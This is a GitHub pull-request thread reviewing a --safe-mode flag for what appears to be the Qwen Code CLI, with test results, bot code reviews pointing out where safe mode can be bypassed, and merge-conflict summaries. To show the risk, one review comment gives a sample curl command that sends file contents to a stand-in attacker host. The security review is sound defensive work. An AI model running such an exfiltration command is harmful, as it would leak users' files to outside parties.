  • Platform: Linux / Node v22.22.2 (the PR template marks 🐧 Linux as ⚠ untested — this run covers it)
  • Fixture project with one of every customization:
    • QWEN.md (context-file marker)
    • project skill sm-test-skill, project subagent sm-test-agent
    • project slash command /smhello
    • SessionStart hook that writes a marker file (observable proof it ran)
    • project MCP server sm-test-mcp

Reviewer test plan — 7/7 PASS

# Test-plan item Normal mode --safe-mode Result
1 Basic activation startup banner ⚠ SAFE MODE — … + footer badge ⚠ Safe Mode
2 Env var QWEN_CODE_SAFE_MODE=true banner + footer badge; hook off; /mcp = 0 servers
3 Override --no-safe-mode (env=true) no badge/banner; hook fires; /skills=9; MCP back
4 Context files skipped /context Memory files 425 tok /context Memory files 0 tok
5 Skills → bundled only /skills = 9 (project+user+bundled) /skills = 7 bundled only
6 Subagents → builtin only listSubagents() includes sm-test-agent listSubagents() = builtin only
7 Normal mode unaffected all customizations load n/a

Extra subsystems confirmed disabled in safe mode:

  • Hooks — the SessionStart hook created its marker file in normal mode but not in safe mode (getDisableAllHooks() honors isSafeMode()).
  • MCP — the “Untrusted MCP server” approval prompt appears at startup in normal mode; in safe mode it is absent and /mcp shows “0 servers / No MCP servers configured.”
  • Auto-memory / auto-dream / auto-skill — the /memory dialog shows all three on in normal mode and all off in safe mode (the MemoryDialog.tsx change works).
Evidence: safe-mode startup (banner + footer badge)
⚠ SAFE MODE — all customizations disabled (hooks, extensions, skills, MCP servers, QWEN.md). Restart without --safe-mode to resume normal operation.
...
root@…:/…/sm-test-4943 | [Z.AI] glm-5.1                                                   ⚠ Safe Mode
Evidence: /skills, /mcp, /context (normal → safe)
/skills  normal : [x] sm-test-skill (Project), [x] java… (User), + 7 Bundled   → 9 skills
/skills  safe   : 7 skills · Bundled only
/mcp     normal : sm-test-mcp · ✗ disconnected (1 server)
/mcp     safe   : 0 servers · No MCP servers configured.
/context normal : Memory files 425 tokens
/context safe   : Memory files 0 tokens

Status of the prior CHANGES_REQUESTED findings

Critical #1 (subagent loadSubagent) and #2 (skill loadSkill) — the model-facing bypass is closed; a defense-in-depth gap remains.

The fix correctly guards the list paths (SubagentManager.listSubagents() / refreshCache(), SkillManager.refreshCache() → builtin/bundled only). Crucially, the model cannot reach a custom skill/subagent in safe mode because both tools validate against the guarded list before loading:

  • AgentTool restricts the subagent_type JSON-schema enum to the available names and validateToolParams (agent.ts:766) rejects anything else (“Subagent … not found”).
  • SkillTool.validateToolParams (skill.ts:199) rejects skills not in availableSkills, which is built from the guarded listSkills() (skill-utils.ts:74).

So a custom skill/subagent is not invocable by the model in safe mode. ✅

However, the underlying manager methods themselves are not self-guardingloadSubagent() (subagent-manager.ts:202) and loadSkill()listSkillsAtLevel() (skill-manager.ts:927) still check only getBareMode(), never isSafeMode(). A direct/programmatic caller that bypasses tool validation still reads customizations from disk. Proven by a real-execution probe against the built core:

===== SAFE MODE (isSafeMode=true) =====
SUBAGENT listSubagents() includes custom 'sm-test-agent'?  false   ← guarded ✅
SUBAGENT loadSubagent('sm-test-agent')   -> LOADED level=project   ← not self-guarded ⚠
SKILL    listSkills() includes custom 'sm-test-skill'?      false   ← guarded ✅
SKILL    loadSkill('sm-test-skill')      -> LOADED level=project   ← not self-guarded ⚠

Not a merge blocker (no model path reaches it unvalidated), but a one-line isSafeMode() guard on these methods would match the getBareMode() pattern they already follow and prevent a future caller from silently re-opening the hole — exactly what the bot’s Critical asked for.

Suggestion (custom slash commands) — still OPEN and genuinely reachable.

FileCommandLoader.loadCommands() (FileCommandLoader.ts:82) still checks only getBareMode(), not isSafeMode(). Project/user .qwen/commands/ are loaded in safe mode, and unlike skills/subagents these are user-invoked directly (no tool validation in the way). In safe mode the custom command still appears in the palette:

> /smhel
  smhello [Custom]  SAFEMODE_TEST custom project slash command

Bare mode hides these; safe mode should too for parity (and they are literally a “customization” the banner claims to disable). This is the one concretely reachable gap — recommend the same || this.config?.isSafeMode?.() one-liner the bot suggested.

Minor / non-issues

  • /context “Skills” token count is identical (472) in both modes — not a bug: it is skillToolDefinitionTokens + loadedBodiesTokens (the static skill-tool schema), not the per-skill listing, which is restricted.
  • The diff shows formatting-only churn in client.ts / truncation.ts / toolResultCleanup.ts / coreToolScheduler.ts + 2 docs files — this is main having moved ahead of the merge-base; it will disappear on rebase. No functional change.
  • The PR’s config.safe-mode.test.ts passes (13/13), but it mocks the managers, so it does not cover the load-by-name paths above (the bot’s 4th point still stands).

Verdict

The feature works exactly as advertised and the UX (banner + footer + /memory toggles) is clear. Safe mode reliably disables context files, hooks, MCP, extensions, and the model-facing skill/subagent surface. Before merge I’d ask for the slash-command guard (FileCommandLoader); the manager-level isSafeMode() guards on loadSubagent/loadSkill/listSkillsAtLevel are a recommended defense-in-depth follow-up rather than a blocker.


中文摘要

本地从源码构建该 PR,并在隔离的 tmux 会话中以真实交互方式验证(非仅单测)。

  • 测试计划 7 项全部通过:标志/环境变量激活、--no-safe-mode 覆盖、上下文文件跳过、skills 仅 bundled、subagents 仅 builtin、正常模式不受影响。另外确认 hooks(SessionStart 标记文件未生成)、MCP(无审批弹窗、/mcp 0 个)、auto-memory/dream/skill 开关均被关闭。
  • 两个 Critical(loadSubagent / loadSkill):面向模型的路径已封堵——agent / skill 工具都基于受保护的列表做参数校验(validateToolParams + schema enum),安全模式下模型无法调用自定义 skill/subagent。但 manager 方法本身仍只判断 getBareMode()、未判断 isSafeMode();直接调用 loadSubagent/loadSkill 仍能从磁盘读到 project 级自定义(已用真实脚本验证)。建议补一行 isSafeMode() 守卫(纵深防御),非阻塞。
  • Suggestion(自定义斜杠命令)仍未修复且可达FileCommandLoader 只判断 getBareMode(),安全模式下 /smhello [Custom] 仍可被用户直接调用。bare 模式会隐藏它,安全模式也应一致——建议合并前修复。

结论:功能符合预期、UX 清晰;合并前建议修复斜杠命令守卫,manager 层守卫作为后续纵深防御。

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

Qwen Code review did not complete successfully: Qwen review aborted with an API error before posting comments. See workflow logs.

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM, looks ready to ship. ✅ Re-verified at head d2615c3: CI green across three platforms, tmux E2E confirms banner + QWEN.md skip + env var activation + --no-safe-mode override, maintainers have already done their own Linux verification on the thread. The one stylistic nit (bareMode || safeMode repeated ~25× in the CLI loader) is not worth a round-trip — leaving it for a future cleanup.

@wenshao
wenshao added this pull request to the merge queue Jun 25, 2026
@github-merge-queue
github-merge-queue Bot removed this pull request from the merge queue due to a conflict with the base branch Jun 25, 2026
@wenshao

wenshao commented Jun 25, 2026

Copy link
Copy Markdown
Collaborator

@qwen-code /resolve

@qwen-code-dev-bot

This comment has been minimized.

@yiliang114

Copy link
Copy Markdown
Collaborator

@qwen-code /resolve

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

Qwen Code attempted to resolve merge conflicts but the run did not complete successfully.

address-summary.md

Conflict Resolution Summary — PR #4943

Conflict

File: packages/cli/src/config/config.ts

Cause: The feat/safe-mode branch (HEAD) added || safeMode guards to three existing memory settings (enableManagedAutoMemory, enableManagedAutoDream, enableAutoSkill). Meanwhile, origin/main introduced a new setting autoSkillConfirm with only a bareMode guard.

Resolution

Combined both changes:

  • Kept the || safeMode guards on the three existing memory settings from the PR branch.
  • Added the new autoSkillConfirm setting from origin/main, also guarded with bareMode || safeMode — consistent with the pattern applied to all other memory/auto-skill settings.

Verification

  • Confirmed no conflict markers remain in the resolved file.
  • Reviewed the full diff of packages/cli/src/config/config.ts against origin/main — all safe-mode changes are intact and the new autoSkillConfirm field is properly guarded.
  • No other files conflicted; all other auto-merged files were left untouched.

Commit

merge: resolve conflict with origin/main for safe-mode PR

Check the workflow run for full logs.

@yiliang114

Copy link
Copy Markdown
Collaborator

@qwen-code /resolve

- packages/cli/src/config/config.ts: merged safeMode guards (PR) with
  new autoSkillConfirm field (main), applying bareMode || safeMode to
  all memory/skill toggles
- packages/core/src/config/config.ts: adopted main's getMergedMcpServers()
  refactoring (getTopTierMcpServers + private getMergedMcpServers) and
  added isSafeMode() early return to the public getMcpServers() method

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

Qwen Code resolved the merge conflicts and pushed the branch update.

Merge Conflict Resolution Summary

PR: #4943 — feat(cli): add --safe-mode flag to disable all customizations for troubleshooting
Base branch: main
Commit: d68167e

Conflicts Resolved

1. packages/cli/src/config/config.ts (line ~2025)

What conflicted: The PR added || safeMode conditions to disable memory/skill toggles (enableManagedAutoMemory, enableManagedAutoDream, enableAutoSkill) when safe mode is active. Main independently added a new autoSkillConfirm toggle with a bareMode-only guard.

Resolution: Kept the PR's bareMode || safeMode pattern for the existing three toggles, and applied the same pattern to main's new autoSkillConfirm field — since safe mode's purpose is to disable all customizations, autoSkillConfirm must also be disabled in safe mode.

2. packages/core/src/config/config.ts (line ~3451)

What conflicted: The PR added if (this.isSafeMode()) return {}; to the top of the public getMcpServers() method to return an empty map in safe mode. Main refactored the same method by extracting a private getMergedMcpServers() helper and adding a new getTopTierMcpServers() accessor — the old monolithic getMcpServers() was replaced by a two-method structure.

Resolution: Adopted main's structural refactoring (keeping getTopTierMcpServers(), the private getMergedMcpServers(), and the new thinner getMcpServers() that delegates to it). Then added the PR's if (this.isSafeMode()) return {}; early return to the new getMcpServers() method, preserving the safe-mode MCP suppression at the correct level in the refactored code.

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review — PR #4943 feat(cli): add --safe-mode flag

Overall the PR is well-structured: the bareMode || safeMode guard pattern is applied consistently across most settings-sourced values, the new safe-mode.ts utility is clean, and the feature is well-tested. However, I found a few gaps that should be addressed before merge.

🔴 Critical

1. 14 test failures in config.safe-mode.test.ts

All tests fail with:

No "DEFAULT_SENSITIVE_SPAN_ATTRIBUTE_MAX_LENGTH" export is defined on the "../telemetry/index.js" mock

The production code imports DEFAULT_SENSITIVE_SPAN_ATTRIBUTE_MAX_LENGTH from telemetry/index.ts (used at config.ts:1174) but the test mock at config.safe-mode.test.ts doesn't include this export. Add it to the vi.mock factory:

DEFAULT_SENSITIVE_SPAN_ATTRIBUTE_MAX_LENGTH: 1024,

2. SavedWorkflowLoader.loadCommands() missing isSafeMode() check

packages/cli/src/services/saved-workflow-loader.ts:47 has getBareMode?.() check but no isSafeMode?.() check. Saved workflows execute project-local code — same category as FileCommandLoader which IS guarded. This is a safe-mode bypass for project code execution. Fix: add if (this.config.isSafeMode?.()) return []; alongside the existing bare-mode check.

3. Storage.setRuntimeBaseDir() reads settings before safe-mode guard

packages/cli/src/config/config.ts:1411 calls Storage.setRuntimeBaseDir(settings.advanced?.runtimeOutputDir, cwd) immediately after computing safeMode but without guarding it. In safe mode, this settings-sourced value should either be skipped or use defaults.

4. settings.context.fileName modifies global module state without guard

packages/cli/src/config/config.ts:1422-1427 calls setServerGeminiMdFilename(settings.context.fileName) based on settings without a safe-mode check. This modifies a global module variable from user settings, which contradicts the safe-mode intent of ignoring all user customizations.

🟡 Suggestions

5. argv.excludeTools not guarded in safe mode

packages/cli/src/config/config.ts:1591 — the for (const t of argv.excludeTools ?? []) loop is not guarded by safeMode. The PR already guards settings.tools?.exclude and adds a warning when --core-tools is used in safe mode, but --exclude-tools is silently accepted. Consider adding the same bareMode || safeMode guard, or at least a warning.

6. getMcpServerNames() / getMcpServerUnavailableReason() bypass safe-mode guard

These methods call the private getMergedMcpServers() directly rather than going through the guarded public getMcpServers(). The getMcpServers() guard at core config.ts:3492 returns {} in safe mode, but getMcpServerNames() (line ~3649) bypasses this and still returns server names. Either add guards to these methods too, or have them call through getMcpServers().

7. isManagedMemoryAvailable() missing isSafeMode() guard

Core config.ts:4659 returns !this.getBareMode() without !this.isSafeMode(). The adjacent getManagedAutoMemoryEnabled() correctly guards both. In safe mode, the UI would show memory as "available" even though managed memory is disabled.

8. MCP hot-reload bypass via private path

getMcpServers() has a safe-mode guard, but the MCP restart/refresh code path likely calls getMergedMcpServers() (private) directly. If settings watcher triggers a reload during a safe-mode session, it could re-enable MCP servers.

9. computerUseEnabled, cronEnabled, agentTeamEnabled not guarded

These settings-sourced values at CLI config.ts:1959-1980 don't have bareMode || safeMode guards. May be intentional for feature flags, but worth confirming whether these should be reset to defaults in safe mode.


Reviewed by Qwen Code (qwen3.7-max)

return this.enableAutoSkill && !this.getBareMode() && !this.isSafeMode();
}

getAutoSkillConfirmEnabled(): boolean {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

getAutoSkillConfirmEnabled() is missing the !this.isSafeMode() guard. Every adjacent toggle (getAutoSkillEnabled, getManagedAutoDreamEnabled, getManagedAutoMemoryEnabled) includes it after this PR, but this one was missed.

getAutoSkillConfirmEnabled(): boolean {
  return this.enableAutoSkillConfirm && !this.getBareMode() && !this.isSafeMode();
}

— Qwen Code (qwen3.7-max)

}

getMcpServers(): Record<string, MCPServerConfig> | undefined {
if (this.isSafeMode()) return {};

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The guard on getMcpServers() is good, but note that getMcpServerNames() and getMcpServerUnavailableReason() call the private getMergedMcpServers() directly — bypassing this safe-mode check entirely. MCP server names would still leak through those paths in safe mode.

Consider either:

  1. Adding isSafeMode() guards to those methods too, or
  2. Having them call through getMcpServers() instead of the private method.

— Qwen Code (qwen3.7-max)

}

isManagedMemoryAvailable(): boolean {
return !this.getBareMode();

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

isManagedMemoryAvailable() returns !this.getBareMode() without !this.isSafeMode(). The adjacent getManagedAutoMemoryEnabled() correctly guards both. In safe mode, the UI would incorrectly show memory as "available" even though managed memory is disabled.

isManagedMemoryAvailable(): boolean {
  return !this.getBareMode() && !this.isSafeMode();
}

— Qwen Code (qwen3.7-max)

for (const name of settings.slashCommands?.disabled ?? [])
addDisabled(name);
}
for (const name of argv.disabledSlashCommands ?? []) addDisabled(name);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The settings-sourced loop above is correctly guarded with !bareMode && !safeMode, but this argv.disabledSlashCommands loop is not guarded. In safe mode, --disabled-slash-commands could still disable commands.

The PR's intent is to ignore settings-sourced values in safe mode. If the same applies to CLI flags (consistent with the --core-tools warning added above), consider adding the guard here too:

if (!bareMode && !safeMode) {
  for (const name of argv.disabledSlashCommands ?? []) addDisabled(name);
}

— Qwen Code (qwen3.7-max)

@wenshao

wenshao commented Jun 29, 2026

Copy link
Copy Markdown
Collaborator

@qwen-code /resolve

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

Qwen Code resolved the merge conflicts and pushed the branch update.

Merge Conflict Resolution Summary — PR #4943

Branches

  • PR branch: feat/safe-mode
  • Base branch: main

Conflicted Files

1. packages/core/src/config/config.ts (ConfigParameters interface)

Conflict: Both branches added new optional properties after fastModel?:

  • HEAD (feat/safe-mode): added safeMode?: boolean — the PR's core feature
  • origin/main: added visionModel?: string — vision bridge model pin

Resolution: Kept both properties. They are independent additions that coexist without interaction.

2. packages/cli/src/config/config.ts (loadCliConfig function — memory settings block)

Conflict: The memory feature gating block:

  • HEAD (feat/safe-mode): gated enableManagedAutoMemory, enableManagedAutoDream, enableAutoSkill, autoSkillConfirm with bareMode || safeMode (extending bareMode-only gating to also include safeMode)
  • origin/main: kept the same four fields gated by bareMode only, but added two new fields: enableTeamMemory and enableTeamMemorySync (also gated by bareMode)

Resolution: Combined both sides:

  • All six fields (the original four + enableTeamMemory + enableTeamMemorySync) are gated with bareMode || safeMode
  • This ensures safe-mode disables team memory features just like bare mode does, which is the PR's intent

Auto-merged files (no manual intervention needed)

  • packages/cli/src/serve/workspace-agents.ts
  • packages/cli/src/ui/AppContainer.tsx
  • packages/cli/src/ui/components/Footer.test.tsx
  • packages/cli/src/ui/components/Footer.tsx
  • packages/cli/src/ui/hooks/slashCommandProcessor.test.ts
  • packages/core/src/index.ts

Commit

merge: resolve conflicts between feat/safe-mode and main

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review Summary

Thanks for the comprehensive --safe-mode implementation. The overall design is solid — the bareMode || safeMode pattern is applied consistently across most settings-sourced values, and the dedicated safe-mode.ts utility is clean.

I found 4 actionable gaps (posted as inline comments) and 2 additional observations:

Inline comments

  1. [Critical] Test failuresconfig.safe-mode.test.ts has 14 test failures due to incomplete mock setup (missing DEFAULT_SENSITIVE_SPAN_ATTRIBUTE_MAX_LENGTH export in the telemetry mock)
  2. [Suggestion] disabledTools silent re-enable — in safe mode, user-disabled tools are silently re-enabled with no warning
  3. [Suggestion] sessionSubagents loaded unconditionally — the loadSessionSubagents() call is outside the safe-mode guard
  4. [Suggestion] getAutoSkillConfirmEnabled() and isManagedMemoryAvailable() missing isSafeMode() — both methods only check !this.getBareMode(), inconsistent with the surrounding methods that received isSafeMode() guards in this PR

Additional observations (not in diff hunks)

  • settings.proxy, settings.fastModel, settings.visionModel — these pass through without safe-mode guards in CLI config. Proxy especially could route safe-mode traffic through a user-configured proxy.
  • SettingsWatcher in gemini.tsx — creation is gated only by bareMode, not safeMode. MCP hot-reload remains active in safe mode, potentially loading user-configured MCP servers at runtime.

Comment thread packages/core/src/config/config.safe-mode.test.ts
// original casing; shared helper since the MCP restart refresh path
// must agree byte-for-byte with this.
const disabledTools = normalizeDisabledToolList(settings.tools?.disabled);
const disabledTools =

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] In safe mode, disabledTools is set to [], silently re-enabling tools the user explicitly disabled via settings.tools.disabled. This could be confusing during troubleshooting — the user may have disabled a tool for a reason.

Consider either:

  1. Logging a warning when tools are re-enabled in safe mode, or
  2. Preserving the user's disabled list in safe mode (safe mode should disable customizations, not overrides the user intentionally set).

}

if (!this.getBareMode()) {
if (!this.getBareMode() && !this.isSafeMode()) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The isSafeMode() guard was correctly added to extensionManager.refreshCache() on the next line, but this.subagentManager.loadSessionSubagents(this.sessionSubagents) at lines 2048-2049 is still loaded unconditionally. Session subagents are user-provided and should be gated by safe mode.

-    if (this.sessionSubagents.length > 0) {
+    if (this.sessionSubagents.length > 0 && !this.isSafeMode()) {
       this.subagentManager.loadSessionSubagents(this.sessionSubagents);
     }

Comment thread packages/core/src/config/config.ts
… safe-mode test mock

The telemetry mock in config.safe-mode.test.ts was missing the
DEFAULT_SENSITIVE_SPAN_ATTRIBUTE_MAX_LENGTH export, causing all 14
tests to fail with:
  No "DEFAULT_SENSITIVE_SPAN_ATTRIBUTE_MAX_LENGTH" export is defined
  on the "../telemetry/index.js" mock

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM, looks ready to ship. ✅

@yiliang114 yiliang114 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@DennisYu07
DennisYu07 enabled auto-merge June 29, 2026 12:21
@DennisYu07
DennisYu07 added this pull request to the merge queue Jun 29, 2026
Merged via the queue into main with commit e2b8555 Jun 29, 2026
12 checks passed

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Additional finding (not in diff): The /mcp reconnect command at packages/cli/src/commands/mcp/reconnect.ts:70 constructs a new Config({...}) without passing safeMode. The constructor falls back to isSafeModeEnv() which only detects the env var path. If safe mode was activated via --safe-mode CLI flag (not env var), the reconnect Config would be unaware and attempt to connect to MCP servers from settings. Consider passing safeMode through to the reconnect Config, or disabling /mcp reconnect when safe mode is active.

— qwen3.7-max via Qwen Code /review

@@ -4947,19 +4980,21 @@ export class Config {
}

getManagedAutoDreamEnabled(): boolean {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] getTeamMemoryEnabled() (line ~4944) and getTeamMemorySyncEnabled() (line ~4964) check getBareMode() but not isSafeMode(). Both have env var overrides (QWEN_CODE_MEMORY_TEAM=1, QWEN_CODE_MEMORY_TEAM_SYNC=1) that re-enable team memory and team memory sync at call time, bypassing the enableTeamMemory: false set by loadCliConfig.

A project-level .env or shell profile could re-activate team memory sync (which pushes data to git remotes) even when the user expects safe mode to disable all customizations.

Suggested change
getManagedAutoDreamEnabled(): boolean {
getTeamMemoryEnabled(): boolean {
if (this.getBareMode() || this.isSafeMode()) {
return false;
}
const override = process.env['QWEN_CODE_MEMORY_TEAM'];

Apply the same pattern to getTeamMemorySyncEnabled().

— qwen3.7-max via Qwen Code /review

}
};
for (const name of settings.slashCommands?.disabled ?? []) addDisabled(name);
if (!bareMode && !safeMode) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Bare mode regression: settings.slashCommands?.disabled was previously loaded unconditionally (old code: for (const name of settings.slashCommands?.disabled ?? []) addDisabled(name);). This change wraps it in if (!bareMode && !safeMode), which silently changes bare mode behavior — users running --bare with slashCommands.disabled in settings will now find those commands re-enabled.

Only safeMode should be new in this guard:

Suggested change
if (!bareMode && !safeMode) {
if (!safeMode) {
for (const name of settings.slashCommands?.disabled ?? [])
addDisabled(name);
}

— qwen3.7-max via Qwen Code /review

// must agree byte-for-byte with this.
const disabledTools = normalizeDisabledToolList(settings.tools?.disabled);
const disabledTools =
bareMode || safeMode

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Bare mode regression: settings.tools?.disabled was previously normalized unconditionally (const disabledTools = normalizeDisabledToolList(settings.tools?.disabled)). Now returns [] when bareMode is true. Users running --bare who relied on tools.disabled in settings to block certain tools lose that protection.

Only gate on safeMode:

Suggested change
bareMode || safeMode
const disabledTools = safeMode
? []
: normalizeDisabledToolList(settings.tools?.disabled);

— qwen3.7-max via Qwen Code /review

* incorrect data.
*/
export function createDaemonSubagentManager(
boundWorkspace: string,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] createDaemonSubagentManager gained a safeMode parameter (default false), but neither caller (workspace-agents.ts:108 and dispatch.ts:435) passes it. The daemon's subagent manager always operates with isSafeMode() === false, so project/user/extension subagents are still loaded and listed in daemon mode even when --safe-mode is active.

Propagate the safe-mode flag from the daemon's config:

const manager = createDaemonSubagentManager(deps.boundWorkspace, deps.safeMode);

— qwen3.7-max via Qwen Code /review

...(bareMode || safeMode ? [] : (settings.tools?.exclude ?? [])),
];

// argv.allowedTools adds allow rules (auto-approve).

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] argv.allowedTools and argv.excludeTools (lines 1586-1593) are appended to mergedAllow/mergedDeny unconditionally in safe mode, while argv.coreTools (line 1564) is explicitly blocked with a stderr warning. This inconsistency makes the safe-mode contract unclear.

A user running qwen --safe-mode --allowed-tools "Bash" would auto-approve shell commands without confirmation, contradicting the "disable all customizations" intent. Consider either guarding these flags behind safe mode (consistent with --core-tools), or documenting that explicit CLI permission flags are intentionally preserved.

— qwen3.7-max via Qwen Code /review

const mcpServers =
bareMode || safeMode
? {}
: assembleMcpServers(settings.mcpServers, cwd, topTierMcpServers);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] settings.modelProviders and settings.providerProtocol (lines 1830–1831) are read from settings.json and passed directly into ConfigParameters without any safe-mode guard. These control model routing, API base URLs, and protocol mapping. A malicious project's .qwen/settings.json can define a custom provider with baseUrl pointing to an attacker-controlled server and use providerProtocol to map it to a built-in SDK protocol. If the attacker's model is selected, all API traffic — prompts containing source code, responses, and auth credentials — is routed through the attacker's endpoint.

Nearby, mcpServers (this line) and allowedHttpHookUrls are correctly gated with bareMode || safeMode, but modelProviders/providerProtocol were missed.

Suggested change
: assembleMcpServers(settings.mcpServers, cwd, topTierMcpServers);
const modelProvidersConfig = bareMode || safeMode ? undefined : settings.modelProviders;
const providerProtocolConfig = bareMode || safeMode ? undefined : settings.providerProtocol;

— qwen3.7-max via Qwen Code /review

allowedHttpHookUrls: bareMode
? []
: (settings.security?.allowedHttpHookUrls ?? []),
safeMode,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] settings.artifact.host.uploadCommand (line 1966) is a shell command template sourced from settings.json, passed through without any safe-mode guard. It is executed via child_process when artifact publishing is triggered (packages/core/src/tools/artifact/host-publisher.ts). A malicious project settings.json can set uploadCommand to an arbitrary command (e.g., curl attacker.com/exfil --data-binary @- < {file}), achieving code execution even in safe mode.

The entire artifact config block (lines 1961–1979: artifactEnabled, artifactPublisher, artifactHost, artifactOss) lacks safe-mode gating.

Suggested change
safeMode,
safeMode,
artifactEnabled: bareMode || safeMode ? false : (settings.experimental?.artifact ?? false),
artifactAutoOpen: bareMode || safeMode ? true : (settings.artifact?.autoOpen ?? true),
artifactPublisher: bareMode || safeMode ? 'local' : (settings.artifact?.publisher ?? 'local'),
artifactHost: bareMode || safeMode ? undefined : (settings.artifact?.host
? {
uploadCommand: settings.artifact?.host?.uploadCommand ?? '',

— qwen3.7-max via Qwen Code /review


const sandboxConfig = await loadSandboxConfig(
bareMode ? ({} as Settings) : settings,
bareMode || safeMode ? ({} as Settings) : settings,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] allowedMcpServers and excludedMcpServers (lines 1703–1706) use } else if (!bareMode) { to guard settings-sourced MCP allow/exclude lists, but this is missing && !safeMode. In safe mode (without bare mode), settings-sourced MCP allow/exclude lists still flow into ConfigParameters.

While mcpServers itself is correctly zeroed to {} in safe mode (line 1849), the allow/exclude metadata from settings.json still passes through, which is semantically inconsistent with safe mode's intent to ignore settings-sourced configuration.

Suggested change
bareMode || safeMode ? ({} as Settings) : settings,
bareMode || safeMode ? ({} as Settings) : settings,

(Also apply !bareMode && !safeMode to the MCP allow/exclude guard at line 1702.)

— qwen3.7-max via Qwen Code /review

bareMode || safeMode ? undefined : settings.permissions?.autoMode,
},
// Permission rule persistence callback (writes to settings files).
onPersistPermissionRule: async (scope, ruleType, rule) => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The onPersistPermissionRule callback writes permission rules back to settings.json whenever the user approves a tool. This callback is passed through without a safe-mode guard. In safe mode, a user who approves tools during troubleshooting silently mutates their settings.json — they exit safe mode and later find unexpected permissions.allow rules with no memory of adding them.

This is a silent settings mutation during a session the user believes is a clean, isolated troubleshooting environment.

Suggested change
onPersistPermissionRule: async (scope, ruleType, rule) => {
onPersistPermissionRule:
bareMode || safeMode
? undefined
: async (scope, ruleType, rule) => {
const currentSettings = loadSettings(cwd);

— qwen3.7-max via Qwen Code /review

@@ -1467,7 +1438,7 @@ export async function loadCliConfig(
);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] setServerGeminiMdFilename(settings.context.fileName) at line 1423 mutates a process-global module variable (currentGeminiMdFilename in packages/core/src/memory/const.ts) unconditionally, even in safe mode. The symmetric output-language.md path at line 1438 correctly adds && !safeMode, but this global state mutation was missed.

The mutated global is read by: (a) ignorePatterns.ts — adds context filenames to file-tool ignore lists, (b) autoMode.ts — uses them for permission checks, (c) writeContextFile.ts — writes memory content to the configured filename. A project settings.json with "context": { "fileName": "INJECT.md" } would change the global filename, making QWEN.md visible to file tools and directing memory writes to an unexpected file.

Suggested change
);
if (!bareMode && !safeMode && settings.context?.fileName) {
setServerGeminiMdFilename(settings.context.fileName);
} else {

— qwen3.7-max via Qwen Code /review

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

6 participants